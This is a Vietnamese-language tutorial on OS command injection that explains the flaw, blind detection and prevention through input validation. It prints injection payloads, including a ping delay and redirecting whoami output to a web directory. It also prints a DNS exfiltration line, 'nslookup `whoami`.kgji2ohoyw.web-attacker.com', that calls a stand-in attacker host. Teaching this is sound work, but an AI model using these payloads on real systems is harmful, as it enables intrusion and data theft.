**OS Command Injection**

**Khái niệm:**

- OS Command Injection hay còn gọi là shell injection là lỗ hổng bảo mật web cho phép kẻ tấn công kích hoạt những câu lệnh của hệ điều hành lên máy chủ đang chạy ứng dụng.

- Kẻ tấn công có thể thâm nhập dữ liệu, cơ sở hạ tầng lưu trữ hay khai thác mối liên hệ đáng tin cậy để thực hiện tấn công lên những hệ thống khác trong tổ chức.

**Kích hoạt những câu lệnh bất kì:**

Xem xét 1 ứng dụng mua sắm cho phép người dùng xem sản phẩm đó có trong kho của 1 cửa hàng hay không. Thông tin này sẽ được truy vấn qua Url sau:

<https://insecure-website.com/stockStatus?productID=381&storeID=29>

Để cung cấp thông tin kho hàng, ứng dụng bắt buộc phải truy vấn đến hệ thống hợp pháp bằng câu lệnh sau:

stockreport.p1 381 29

Câu lệnh này sẽ xuất ra trạng thái của kho hàng cho vật đó. Nếu ứng dụng không phòng thủ tốt , kẻ tấn công có thể gửi đầu vào sau:

& echo aiwefwlguh &

Nếu đầu vào là tham số productID sau đó câu lệnh sẽ được kích hoạt bởi ứng dụng như sau:

stockreport.p1 & echo aiwewlguh & 29

Lệnh echo giúp xuất chuỗi và là 1 cách hữu dụng để kiểm tra lỗi command injection.

Kí tự ‘&’ giúp tách các câu lệnh.

Kết quả:

Error - productID was not provided

aiwefwlguh

29: command not found

Vì câu lệnh stockreport không có đối số nên báo lỗi, lệnh echo được kích hoạt và in ra chuỗi aiwewlguh, đối số 29 được kích hoạt như câu lệnh nên sẽ báo lỗi.

**Một số lệnh hữu ích:**

|  |  |  |
| --- | --- | --- |
| **Purpose of command** | **Linux** | **Windows** |
| Name of current user | whoami | whoami |
| Operating system | uname -a | ver |
| Network configuration | ifconfig | ipconfig /all |
| Network connections | netstat -an | netstat -an |
| Running processes | ps -ef | tasklist |

**Blind OS Command Injection:**

- Rất nhiều trường hợp OS command injection là lỗ hổng mù.

- Xem xét 1 trang web cho phép người dùng phản hồi về trang web. Người dùng nhập địa chỉ email và tin nhắn phản hồi. Máy chủ ứng dụng web tạo 1 bức thư đến trang quản trị bằng câu lệnh sau:

mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com

Kết quả từ câu lệnh mail sẽ không trả về cho người dùng. Vì vậy lệnh echo sẽ không hiệu quả.

**Phát hiện lỗ hổng mù bằng sự trì hoãn thời gian:**

- Bạn có thể tiêm lệnh kích hoạt sự chậm trễ thời gian, cho phép kiểm tra câu lệnh đã được kích hoạt dựa trên thời gian ứng dụng phản hồi.

- Lệnh ping là 1 cách hiệu quả vì nó cho phép xác định chỉ số của gói icmp và cần thời gian để câu lệnh chạy.

& ping -c 10 127.0.0.1 &

**Khai thác lỗ hổng mù:**

**1. chuyển hướng đầu ra:**

- Bạn có thể chuyển hướng kết quả của câu lệnh đến 1 tệp tin của ứng dụng mà bạn được phép truy cập.

- Ví dụ: mã nguồn tĩnh ở /var/www/static, bạn có thể gửi đầu vào sau:

& whoami > /var/www/static/whoami.txt &

Kí tự > gửi kết quả của câu lệnh whoami đến 1 file cụ thể.

**2. kích hoạt sự tương tác phía bên ngoài:**

- Bạn có thể tiêm 1 lệnh để kích hoạt sự tương tác mạng với hệ thống bạn kiểm soát bằng phương pháp OAST.

& nslookup kgji2ohoyw.web-attacker.com &

- Lệnh nslookup để thực hiện tra cứu DNS cho 1 miền xác định.

- Kẻ tấn công có thể theo dõi quá trình tra cứu xảy ra, và phát hiện câu lệnh đã được tiêm thành công hay chưa.

- Những kênh bên ngoài cũng giúp trích xuất kết quả của những câu lệnh được tiêm.

& nslookup `whoami`.kgji2ohoyw.web-attacker.com &

- Điều này sẽ làm cho DNS tra cứu tên miền của kẻ tấn công chứa kết quả của lệnh whoami.

**Các cách tiêm lệnh OS:**

Có rất nhiều kí tự phân tách lệnh hoạt động trên nhiều hệ điều hành khác nhau.

|  |  |
| --- | --- |
| **Windows và Unix:** | **Unix:** |
| * & * && * | * || | * ; * Newline (0x0a hoặc \n) |

**Cách ngăn chặn OS command injection:**

- Cách hiệu quả nhất để ngăn chặn lỗ hổng này là không bao giờ gọi các lệnh của hệ điều hành từ ứng dụng.

- Nếu bắt buộc phải gọi ,đầu vào phải được xác thực mạnh mẽ.

* Xác thực đầu vào là số.
* Xác thực đầu vào chỉ chứa các kí tự a-z, không có cú pháp hay khoảng trắng.
* Xác thực với những giá trị được phép (whitelist)